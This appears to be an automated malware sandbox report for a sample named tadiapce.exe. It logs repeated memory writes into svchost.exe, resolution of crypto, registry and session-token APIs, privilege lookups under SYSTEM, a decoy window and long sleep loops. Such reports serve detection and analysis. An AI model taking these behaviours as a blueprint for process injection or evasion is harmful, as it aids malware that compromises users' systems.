Write svchost.exe address = 0x100040d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 3
Fn
Data
Write svchost.exe address = 0x100040dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 6
Fn
Data
Write svchost.exe address = 0x100040e0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040e4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 2
Fn
Data
Write svchost.exe address = 0x10004008, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000400c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 3
Fn
Data
Write svchost.exe address = 0x10004010, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004014, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 6
Fn
Data
Write svchost.exe address = 0x10004018, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000401c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004020, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004024, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 6
Fn
Data
Write svchost.exe address = 0x10004028, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 1
Fn
Data
Write svchost.exe address = 0x1000402c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004030, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 4
Fn
Data
Write svchost.exe address = 0x10004034, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004038, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000403c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004040, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004044, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004048, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 3
Fn
Data
Write svchost.exe address = 0x1000404c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004050, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004054, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004058, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000405c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004060, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004064, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 3
Fn
Data
Write svchost.exe address = 0x10004068, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000406c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004070, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004074, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004078, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000407c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004080, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 2
Fn
Data
Write svchost.exe address = 0x10004084, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004088, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000408c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004090, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x10004094, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004098, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040f4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 1
Fn
Data
Write svchost.exe address = 0x100040f8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040fc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004100, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004104, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x70000, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x250000, size = 747 True 1
Fn
Data
Write svchost.exe address = 0x260000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x480000, size = 128 True 1
Fn
Data
Write svchost.exe address = 0x4a0000, size = 44 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 50
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x10000000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x10001000, size = 11264 True 2
Fn
Data
Write svchost.exe address = 0x10004000, size = 4608 True 2
Fn
Data
Write svchost.exe address = 0x10006000, size = 1036 True 1
Fn
Data
Write svchost.exe address = 0x10006000, size = 512 True 1
Fn
Data
Write svchost.exe address = 0x10007000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 3
Fn
Data
Write svchost.exe address = 0xe0000, size = 12 True 7
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 4
Fn
Data
Write svchost.exe address = 0x100040a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 4
Fn
Data
Write svchost.exe address = 0x10004000, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 5
Fn
Data
Write svchost.exe address = 0xe0000, size = 16 True 36
Fn
Data
Write svchost.exe address = 0x10004084, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004088, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000408c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004090, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 2
Fn
Data
Write svchost.exe address = 0x10004094, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 6
Fn
Data
Write svchost.exe address = 0x10004098, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x10004008, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 2
Fn
Data
Write svchost.exe address = 0x1000400c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 1
Fn
Data
Write svchost.exe address = 0x10004010, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004014, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004018, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 2
Fn
Data
Write svchost.exe address = 0x1000401c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 2
Fn
Data
Write svchost.exe address = 0x10004020, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 4
Fn
Data
Write svchost.exe address = 0x10004024, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 2
Fn
Data
Write svchost.exe address = 0x10004028, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000402c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004030, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 4
Fn
Data
Write svchost.exe address = 0x10004034, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004038, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000403c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 3
Fn
Data
Write svchost.exe address = 0x10004040, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004044, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004048, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000404c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004050, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004054, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004058, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000405c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004060, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004064, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 1
Fn
Data
Write svchost.exe address = 0x10004068, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000406c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x1000407c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040a8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x100040b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x10004074, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 8 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x130000, size = 388 True 1
Fn
Data
Write svchost.exe address = 0x140000, size = 40 True 1
Fn
Data
Write svchost.exe address = 0xe0000, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x140000, size = 747 True 1
Fn
Data
Write svchost.exe address = 0x150000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x1a0000, size = 128 True 1
Fn
Data
Write svchost.exe address = 0x1c0000, size = 44 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0xa0000, size = 112 True 47
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x6cd40000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x6cd41000, size = 5632 True 2
Fn
Data
Write svchost.exe address = 0x6cd43000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x6cd44000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x6cd45000, size = 36 True 1
Fn
Data
Write svchost.exe address = 0x6cd46000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x6cd47000, size = 1536 True 2
Fn
Data
Write svchost.exe address = 0x6cd48000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 3
Fn
Data
Write svchost.exe address = 0xb0000, size = 12 True 6
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 4
Fn
Data
Write svchost.exe address = 0xb0000, size = 16 True 37
Fn
Data
Write svchost.exe address = 0x6cd47138, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 3
Fn
Data
Write svchost.exe address = 0x6cd4713c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47140, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 3
Fn
Data
Write svchost.exe address = 0x6cd47144, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 6
Fn
Data
Write svchost.exe address = 0x6cd4714c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 5
Fn
Data
Write svchost.exe address = 0x6cd47150, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47154, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 2
Fn
Data
Write svchost.exe address = 0x6cd47158, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4715c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 2
Fn
Data
Write svchost.exe address = 0x6cd47160, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47164, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47168, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4716c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 2
Fn
Data
Write svchost.exe address = 0x6cd47170, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 3
Fn
Data
Write svchost.exe address = 0x6cd47174, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47178, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 1
Fn
Data
Write svchost.exe address = 0x6cd4717c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 4
Fn
Data
Write svchost.exe address = 0x6cd47180, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47184, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd47188, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4718c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 16 True 2
Fn
Data
Write svchost.exe address = 0x6cd47194, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 23 True 2
Fn
Data
Write svchost.exe address = 0x6cd47198, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4719c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 1
Fn
Data
Write svchost.exe address = 0x6cd471a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 1
Fn
Data
Write svchost.exe address = 0x6cd471b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 1
Fn
Data
Write svchost.exe address = 0x6cd471c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd471dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0xb0000, size = 4 True 2
Fn
Data
Write svchost.exe address = 0x340000, size = 1024 True 2
Fn
Data
Write svchost.exe address = 0x350000, size = 388 True 1
Fn
Data
Write svchost.exe address = 0x360000, size = 40 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 8 True 1
Fn
Data
Write svchost.exe address = 0x350000, size = 128 True 1
Fn
Data
Write svchost.exe address = 0x370000, size = 44 True 1
Fn
Data
Write svchost.exe address = 0x50000, size = 367 True 1
Fn
Data
Write svchost.exe address = 0x60000, size = 112 True 59
Fn
Data
Write svchost.exe address = 0x602104, size = 12 True 1
Fn
Data
Write svchost.exe address = 0x6cd40000, size = 1024 True 1
Fn
Data
Write svchost.exe address = 0x6cd41000, size = 35840 True 2
Fn
Data
Write svchost.exe address = 0x6cd4a000, size = 6656 True 2
Fn
Data
Write svchost.exe address = 0x6cd4c000, size = 3072 True 2
Fn
Data
Write svchost.exe address = 0x6cd4d000, size = 4084 True 1
Fn
Data
Write svchost.exe address = 0x6cd4e000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x6cd4f000, size = 3072 True 2
Fn
Data
Write svchost.exe address = 0x6cd50000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x6cd51000, size = 512 True 2
Fn
Data
Write svchost.exe address = 0x6cd52000, size = 1536 True 2
Fn
Data
Write svchost.exe address = 0x20000, size = 26 True 3
Fn
Data
Write svchost.exe address = 0x120000, size = 12 True 3
Fn
Data
Write svchost.exe address = 0x20000, size = 14 True 1
Fn
Data
Write svchost.exe address = 0x120000, size = 16 True 55
Fn
Data
Write svchost.exe address = 0x6cd4f224, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 13 True 6
Fn
Data
Write svchost.exe address = 0x6cd4f22c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 22 True 2
Fn
Data
Write svchost.exe address = 0x6cd4f230, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 21 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f234, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 18 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f238, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 20 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f23c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 19 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f240, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 24 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f244, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f248, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 17 True 4
Fn
Data
Write svchost.exe address = 0x6cd4f24c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f250, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 15 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f254, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f258, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f25c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f260, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 10 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f264, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 9 True 2
Fn
Data
Write svchost.exe address = 0x6cd4f268, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 12 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f26c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f270, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f274, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f278, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f27c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f280, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f284, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 28 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f288, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 6 True 3
Fn
Data
Write svchost.exe address = 0x6cd4f28c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f290, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f294, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 25 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f298, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f29c, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2a0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2a4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2ac, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2b0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 11 True 2
Fn
Data
Write svchost.exe address = 0x6cd4f2b4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 7 True 9
Fn
Data
Write svchost.exe address = 0x6cd4f2b8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2bc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 5 True 2
Fn
Data
Write svchost.exe address = 0x6cd4f2c0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2c4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x20000, size = 8 True 2
Fn
Data
Write svchost.exe address = 0x6cd4f2c8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2cc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2d0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2d4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2d8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2dc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2e0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2e4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2e8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2ec, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2f0, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2f4, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2f8, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f2fc, size = 4 True 1
Fn
Data
Write svchost.exe address = 0x6cd4f300, size = 4 True 1
Fn
Data
For performance reasons, the remaining 432 entries are omitted.
The remaining entries can be found in glog.xml.
Module (1744)
»
Operation Module Additional Information Success Count Logfile
Load Crypt32.dll base_address = 0x75610000 True 4
Fn
Load kernel32.dll base_address = 0x76b10000 True 2
Fn
Load advapi32.dll base_address = 0x774c0000 True 2
Fn
Load shell32.dll base_address = 0x75bb0000 True 1
Fn
Load ntdll.dll base_address = 0x77330000 True 1
Fn
Load KERNEL32.dll base_address = 0x0 True 1
Fn
Load wtsapi32 base_address = 0x73f10000 True 2
Fn
Load SHLWAPI.dll base_address = 0x0 True 1
Fn
Load CRYPT32.dll base_address = 0x0 True 1
Fn
Load bcrypt.dll base_address = 0x0 True 1
Fn
Load USER32.dll base_address = 0x0 True 1
Fn
Load WINHTTP.dll base_address = 0x0 True 1
Fn
Load WS2_32.dll base_address = 0x0 True 1
Fn
Load OLEAUT32.dll base_address = 0x0 True 1
Fn
Load USERENV.dll base_address = 0x0 True 1
Fn
Load ncrypt.dll base_address = 0x0 True 1
Fn
Load ADVAPI32.dll base_address = 0x0 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x0 True 1
Fn
Load SHELL32.dll base_address = 0x0 True 1
Fn
Load shlwapi base_address = 0x771d0000 True 1
Fn
Get Handle c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe base_address = 0x400000 True 5
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 812
Fn
Get Filename - process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 255 True 1
Fn
Get Filename KERNEL32.dll process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 260 True 1
Fn
Get Filename SHELL32.dll process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 512 True 1
Fn
Get Filename SHELL32.dll process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 260 True 3
Fn
Get Address c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe function = ___CPPdebugHook, address_out = 0x40e13c True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 739
Fn
Get Address c:\windows\system32\kernel32.dll function = Borland32, address_out = 0x0 False 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptStringToBinaryA, address_out = 0x75645d77 True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = Wow64EnableWow64FsRedirection, address_out = 0x76b98bc9 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCreateKeyW, address_out = 0x774d1514 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExW, address_out = 0x774d468d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegSetValueExW, address_out = 0x774d14d6 True 1
Fn
Get Address c:\windows\system32\shell32.dll function = ShellExecuteA, address_out = 0x75df7078 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextA, address_out = 0x774c91dd True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptImportKey, address_out = 0x774cc532 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptEncrypt, address_out = 0x774e779b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAlloc, address_out = 0x76b62fb6 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcpy, address_out = 0x77364cc0 True 1
Fn
Get Address c:\windows\system32\wtsapi32.dll function = WTSEnumerateSessionsA, address_out = 0x73f14023 True 2
Fn
Get Address c:\windows\system32\wtsapi32.dll function = WTSFreeMemory, address_out = 0x73f11b65 True 2
Fn
Get Address c:\windows\system32\wtsapi32.dll function = WTSGetActiveConsoleSessionId, address_out = 0x0 False 2
Fn
Get Address c:\windows\system32\wtsapi32.dll function = WTSQueryUserToken, address_out = 0x73f11f81 True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = SignalObjectAndWait, address_out = 0x76b761d9 True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = WaitForSingleObject, address_out = 0x76b5ba90 True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = ResetEvent, address_out = 0x76b5bcb4 True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitProcess, address_out = 0x76b6214f True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = InitializeCriticalSection, address_out = 0x7738a149 True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 8
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryW, address_out = 0x76b63c01 True 65
Fn
Get Address c:\windows\system32\shlwapi.dll function = UrlEscapeW, address_out = 0x771e8ca7 True 1
Fn
Service (6)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 3
Fn
User (8)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeTcbPrivilege, luid = 7 True 6
Fn
Get Username user_name_out = SYSTEM True 2
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create Squirrel Shootout by Brenton Andrew Saunders class_name = Squirrel Shootout by Brenton Andrew Saunders, wndproc_parameter = 0 True 1
Fn
Keyboard (21)
»
Operation Additional Information Success Count Logfile
Read virtual_key_code = VK_NUMLOCK, result_out = 0 True 21
Fn
System (4128)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = ZGW5TDPU True 1
Fn
Sleep duration = 1 milliseconds (0.001 seconds) True 778
Fn
Sleep duration = 50 milliseconds (0.050 seconds) True 1
Fn
Sleep duration = 3 milliseconds (0.003 seconds) True 1
Fn
Sleep duration = 3000 milliseconds (3.000 seconds) True 2839
Fn
Sleep duration = 1000 milliseconds (1.000 seconds) True 3
Fn
Sleep duration = 20000 milliseconds (20.000 seconds) True 105
Fn
Get Time type = System Time, time = 2019-05-14 15:31:51 (UTC) True 3
Fn
Get Time type = System Time, time = 2019-05-14 15:32:07 (UTC) True 3
Fn
Get Time type = System Time, time = 2019-05-14 15:32:42 (UTC) True 2
Fn
Get Time type = System Time, time = 2019-05-14 15:32:43 (UTC) True 2
Fn
Get Time type = Ticks, time = 11035760 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:17 (UTC) True 2
Fn
Get Time type = System Time, time = 2019-05-14 15:33:19 (UTC) True 3
Fn
Get Time type = System Time, time = 2019-05-14 15:33:21 (UTC) True 4
Fn
Get Time type = System Time, time = 2019-05-14 15:33:26 (UTC) True 2
Fn
Get Time type = System Time, time = 2019-05-14 15:33:27 (UTC) True 1
Fn
Get Time type = Ticks, time = 11047491 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:29 (UTC) True 1
Fn
Get Time type = Ticks, time = 11050455 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:34 (UTC) True 47
Fn
Get Time type = Ticks, time = 11053606 True 3
Fn
Get Time type = System Time, time = 2019-05-14 15:33:35 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:37 (UTC) True 9
Fn
Get Time type = Ticks, time = 11057319 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:42 (UTC) True 2
Fn
Get Time type = System Time, time = 2019-05-14 15:33:43 (UTC) True 1
Fn
Get Time type = Ticks, time = 11063653 True 3
Fn
Get Time type = Ticks, time = 11064339 True 1
Fn
Get Time type = Ticks, time = 11064370 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:45 (UTC) True 10
Fn
Get Time type = Ticks, time = 11067724 True 1
Fn
Get Time type = Ticks, time = 11068504 True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:51 (UTC) True 2
Fn
Get Time type = System Time, time = 2019-05-14 15:33:52 (UTC) True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:53 (UTC) True 12
Fn
Get Time type = Ticks, time = 11072810 True 2
Fn
Get Time type = System Time, time = 2019-05-14 15:33:56 (UTC) True 13
Fn
